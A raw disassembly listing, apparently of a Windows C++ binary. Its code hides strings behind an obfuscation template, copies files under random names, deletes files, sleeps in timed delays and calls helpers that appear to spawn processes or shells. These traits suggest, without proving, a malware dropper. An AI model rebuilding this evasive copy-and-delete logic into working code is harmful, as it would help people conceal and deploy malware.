mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x26e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2690]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x26be]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x231955113
lea rax, [rbp + 0x27ce]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x27cf]
mov rcx, rax
call method.main.lambda__90::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__13663125219095580435ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x27ce]
lea rax, [rbp + 0x27a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x27f0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x285e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x285f]
mov rcx, rax
call method.main.lambda__89::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__13663125219095580435ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x285e]
lea rax, [rbp + 0x2830]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x288f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x288f]
lea rdx, [rbp + 0x8c0]
lea rax, [rbp + 0x2860]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2810]
lea rcx, [rbp + 0x2830]
lea rdx, [rbp + 0x2860]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x27d0]
lea rcx, [rbp + 0x27f0]
lea rdx, [rbp + 0x2810]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2780]
lea rcx, [rbp + 0x27a0]
lea rdx, [rbp + 0x27d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rdx, [rbp + 0x2780]
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2780]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x27d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2810]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2860]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x288f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2830]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x285e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x27f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x27a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x27ce]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x100]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rdx, [rbp + 0x610]
lea rax, [rbp + 0x28b0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x28fc]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x28fd]
mov rcx, rax
call method.main.lambda__91::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_81ull__3835738505568389581ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x28fc]
lea rax, [rbp + 0x28d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2890]
lea rcx, [rbp + 0x28b0]
lea rdx, [rbp + 0x28d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2890]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x2890]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x28d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x28fc]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x28b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x610]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x231955798
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.231a11520
cmp dword [rbp + 0x46f0], 0xb
jle 0x231955286
lea rax, [rbp + 0x28fe]
mov rcx, rax
call method.main.lambda__92::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__17945586656008950691ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x58
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231955286
mov eax, 1
jmp 0x23195528b
mov eax, 0
test al, al
je 0x2319554a8
lea rax, [rbp + 0x28ff]
mov rcx, rax
call method.main.lambda__93::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__8917573285376403223ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x294e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x294f]
mov rcx, rax
call method.main.lambda__95::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__4179175077960056719ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x294e]
lea rax, [rbp + 0x2920]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x2970]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x29de]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x29df]
mov rcx, rax
call method.main.lambda__94::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__4179175077960056719ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x29de]
lea rax, [rbp + 0x29b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2a0f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x2a0f]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x29e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2990]
lea rcx, [rbp + 0x29b0]
lea rdx, [rbp + 0x29e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2950]
lea rcx, [rbp + 0x2970]
lea rdx, [rbp + 0x2990]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2900]
lea rcx, [rbp + 0x2920]
lea rdx, [rbp + 0x2950]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rdx, [rbp + 0x2900]
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2900]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2950]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2990]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x29e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2a0f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x29b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x29de]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2970]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2920]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x294e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x23195567d
lea rax, [rbp + 0x2a5e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2a5f]
mov rcx, rax
call method.main.lambda__97::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__17098914289780996547ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2a5e]
lea rax, [rbp + 0x2a30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x2a80]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x2aee]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2aef]
mov rcx, rax
call method.main.lambda__96::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__17098914289780996547ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2aee]
lea rax, [rbp + 0x2ac0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2b1f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x2b1f]
lea rdx, [rbp + 0x8c0]
lea rax, [rbp + 0x2af0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2aa0]
lea rcx, [rbp + 0x2ac0]
lea rdx, [rbp + 0x2af0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2a60]
lea rcx, [rbp + 0x2a80]
lea rdx, [rbp + 0x2aa0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2a10]
lea rcx, [rbp + 0x2a30]
lea rdx, [rbp + 0x2a60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rdx, [rbp + 0x2a10]
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2a10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2a60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2aa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2af0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2b1f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2ac0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2aee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2a80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2a30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2a5e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x100]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rdx, [rbp + 0x610]
lea rax, [rbp + 0x2b40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2b8e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2b8f]
mov rcx, rax
call method.main.lambda__98::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_48ull__15515434570079265195ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2b8e]
lea rax, [rbp + 0x2b60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2b20]
lea rcx, [rbp + 0x2b40]
lea rdx, [rbp + 0x2b60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2b20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x2b20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2b60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2b8e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2b40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x610]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x100]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x2bce]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2bcf]
mov rcx, rax
call method.main.lambda__99::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__3531839430684907927ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2bce]
lea rax, [rbp + 0x2ba0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2b90]
lea rdx, [rbp + 0x2ba0]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2ba0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2bce]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [rbp + 0x46b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x2bd0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x40]
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x2bd0]
lea rax, [rbp + 0x2bf0]
mov r8d, 0
mov rcx, rax
call sym.f_xc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2bd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
cmp dword [rbp + 0x46f0], 7
jle 0x23195590d
lea rax, [rbp + 0x2c1e]
mov rcx, rax
call method.main.lambda__100::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__13477340150258814439ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x38
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195590d
mov eax, 1
jmp 0x231955912
mov eax, 0
test al, al
je 0x231955953
lea rax, [rbp + 0x2c1f]
mov rcx, rax
call method.main.lambda__101::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__3263288457010594303ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231955984
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x2c20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2c20]
mov rcx, rax
call sym.f_mci_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2c20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x2c7a]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2c7b]
mov rcx, rax
call method.main.lambda__102::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__10343420281058197401ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2c7a]
lea rax, [rbp + 0x2c50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2c40]
lea rdx, [rbp + 0x2c50]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2c50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2c7a]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp dword [rbp + 0x45f4], 1
je 0x231955a63
cmp dword [rbp + 0x45f4], 2
je 0x231955b0d
jmp 0x231955b4a
cmp dword [rbp + 0x46f0], 6
jle 0x231955aa7
lea rax, [rbp + 0x2c7c]
mov rcx, rax
call method.main.lambda__103::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__6339187096492310399ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x30
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231955aa7
mov eax, 1
jmp 0x231955aac
mov eax, 0
test al, al
je 0x231955af0
lea rax, [rbp + 0x2c7d]
mov rcx, rax
call method.main.lambda__104::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__7342432492841990635ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231955b86
mov r9d, 0
mov r8d, 1
mov edx, 0
mov ecx, 0
call sym.f_exsh_int__int__int__int_
jmp 0x231955b86
lea rax, [rbp + 0x2c7e]
mov rcx, rax
call method.main.lambda__105::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__11633689950614668699ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231955b86
lea rax, [rbp + 0x2c7f]
mov rcx, rax
call method.main.lambda__106::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_8ull__9197321711442543451ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
nop
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x2cbc]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2cbd]
mov rcx, rax
call method.main.lambda__107::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__15686549305221691169ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2cbc]
lea rax, [rbp + 0x2c90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2c80]
lea rdx, [rbp + 0x2c90]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2c90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2cbc]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp dword [rbp + 0x46f0], 0xd
jle 0x231955c4f
lea rax, [rbp + 0x2cbe]
mov rcx, rax
call method.main.lambda__108::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__15264194231301391853ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x68
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231955c4f
mov eax, 1
jmp 0x231955c54
mov eax, 0
test al, al
je 0x231955c98
lea rax, [rbp + 0x2cbf]
mov rcx, rax
call method.main.lambda__109::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__14372052412995322857ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231955d1a
lea rax, [rbp + 0x2cee]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2cef]
mov rcx, rax
call method.main.lambda__110::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_40ull__9336370512537960325ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2cee]
lea rax, [rbp + 0x2cc0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2cee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov edx, 1
